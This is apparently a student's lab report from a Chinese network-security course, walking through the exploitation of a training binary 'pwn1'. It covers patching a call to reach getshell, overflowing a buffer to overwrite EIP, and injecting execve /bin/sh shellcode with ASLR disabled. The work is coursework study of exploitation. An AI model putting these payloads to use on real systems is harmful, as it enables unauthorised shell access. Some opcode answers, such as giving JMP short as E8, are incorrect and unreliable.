20174326旦增列措 2019-2020-2 《网络对抗技术》Exp1 PC平台逆向破解

20174326旦增列措 2019-2020-2 《网络对抗技术》Exp1 PC平台逆向破解

任务一 手动修改机器指令,改变程序执行流程

1.在老师云班课网页链接里找到pwn1,下载到共享文件夹里
2.打开kali虚拟机终端,通过mkdir -p命令新建多级目录,通过cp命令将共享文件夹的pwn复制到新建目录里,再通过cp命令备份pwn1为pwn1.bak,以便出现问题后或做任务二三时,不用重新下载复制。

3.通过objdump -d pwn1 | more命令对pwn1反汇编。

4.汇编指令出来后,回车查看更多,翻到getshell、foo与main函数查看其地址,main函数call的地址是8048491即foo函数的首地址,getshell的首地址是804847d。call的机器指令为e8 7dffffff,e8为call的机器指令,7dffffff即0xffffff7d是关于eip寄存器地址的偏移地址即等于eip寄存器指令存放下条指令地址0x80484ba-目的地址0x8048491

5.现任务是将call的地址改为getshell的首地址804847d,所以应该将机器指令e8 7dffffff的地址部分换成0x80484ba-0x804847d=0xffffffc3即c3ffffff,通过vi pwn1命令对pwn1文件进行编辑,可以看到文件内容是16进制,可以通过:%!xxd将文件内容转换成可以读懂的ASCII码。

6.转换成ASCII码之后,通过输入/e8 7d可以查找main函数call指令的机器代码。

7.将光标定位在7上按r输入c,光标定位在d上按r输入3,然后输入%!xxd -r将ASCII代码转换为16进制!

8.输入:wq保存退出!

9.此时再反汇编查看main函数call的函数已经变为getshell

10.运行pwn1,主函数会调用getshell函数

任务二 通过构造输入值,造成BOF攻击,从而改变程序执行顺序

1.对pwn1进行反汇编.

2.可以看到,main函数为foo函数输入的预留空间为0x1c,即28字节,加上ebp寄存器的4字节,所以eip寄存器的值应为33-36字节的值.

3.使用gdb pwn1命令调试程序,输入r运行,输入40个字符会发生缓冲区溢出,显示Segmentation Fault。其中的33-36个字符‘1234’会覆盖eip寄存器的值,用info r查看寄存器的值,eip为0x34333231,若将eip的值构造为0804847d就可以在foo函数执行完回到main函数时进入到getshell函数

4.无法从键盘输入16进制的值,所以用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input命令构造出16进制地址并将输入内容放进input文件里。地址应倒过来写,\0a是换行。

5.通过(cat input; cat ) | ./pwn1pwn1并将input里边的内容输入到pwn2运行的程序中,就可以跳到getshell函数中

 

任务三 注入shellcode并执行

1.将pwn1.zip重新解压新的pwn1。

2.下载execstack。(sudo apt-get install execstack)

3.准备工作

execstack -s pwn1设置堆栈可执行
execstack -q pwn1 查询文件的堆栈是否可执行,结果为X表示可执行
more /proc/sys/kernel/randomize_va_space 查看随机化是否关闭
echo "0" > /proc/sys/kernel/randomize_va_space 关闭随机化
more /proc/sys/kernel/randomize_va_space 再次查看,结果为0证明已关闭

4.通过

perl -e 'print "A" x 32;print"\xd0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shell

 

构造老师给的shellcode,并将shellcode保存到input_shellcode!

5.打开两个终端,在第一个终端中输入(cat input_shellcode;cat) | ./pwn1运行pwn1,在第二个终端中输入ps -ef | grep pwn1查看pwn3的进程号为25902

 6.接下来通过gdb命令开始调试,输入attach 25902连接到pwn1进程,连接后输入disassemble foo对foo函数进行反汇编查看foo函数return指令的地址为0x080448ae,然后输入break *0x080448ae再此处设置断点.

7.在终端a中回车,程序会执行到断点处,在b终端输入c在断点处继续运行,此时输入info r esp查看esp寄存器的值为0xffffd21c
输入x/16x 0xffffd21c以16进制形式查看0xffffd21c地址后面16字节的内容是在最开始构造的input_shellcode里的内容,所以将shellcode注入地址为0xffffd21c+0x00000004=0xffffd220

8.通过

perl -e 'print "A" x 32;print"\x20\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

 重新构造改完注入地址的input_shellcode,并输入(cat input_shellcode;cat) | ./pwn3运行pwn3,可以跳到构造的shellcode程序中!

四、 问题回答

  • 什么是漏洞,漏洞有什么危害?
漏洞就是在计算机硬件、软件、协议、安全策略上存在的缺点。
利用这些缺点,攻击者可以对计算机系统进行攻击,从而达到一定的目的。
漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。
  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:90
JNE:75
JE:74
CMP:38~3D
JMP:

JMP short:E8
JMP near:E9
JMP word:FF
JMP far:EA
  • 掌握反汇编器与十六进制编程器
反汇编指令:

objdump -d <file(s)>: 将代码段反汇编;
objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
objdump -C <file(s)>: 将C++符号名逆向解析
objdump -l <file(s)>: 反汇编代码中插入文件名和行号
objdump -j section <file(s)>: 仅反汇编指定的section

十六进制编程器:是用来以16进制视图进行文本编辑的工具软件。

  vim <filename> 以ASCII码形式显示可执行文件的内容

  :%!xxd 将显示模式切换为16进制模式

  :%!xxd 将16进制切换回ASCII码模式

五、心得体会

在前几个学期的学习中,缓冲区溢出攻击一直是挂在嘴边的知识点。这一次也终于亲手尝试了一下。
虽然中途遇到很多挫折,但通过网上资料的查找和与同学交流的方式,这次实验也算圆满完成。
通过观看视频和亲手做实验,我也对缓冲区溢出有了更深入的了解,相信在以后的学习生活中,我也会多多动手,实践出真知。

六、遇到的问题和解决方法

  • 问题一:在gdb调试时,显示“未找到命令”
  • 解决:在root下使用命令apt-get install gdb安装。
  • 问题二:gdb调试后出现Detaching after fork from child process ***错误。
  • 解决:gdb报信息Detaching after fork from child process ***意思是debug只能跟踪一条进程,这句话是把没有被debug的进程报给你。但根本原因是我在gdb调试是沿用了之前已经被修改成恶意代码的pwn1,所以要在开始备份pwn1,再在这步调试。

 

posted @ 2020-05-13 18:18  旦增列措  阅读(242)  评论(1编辑  收藏  举报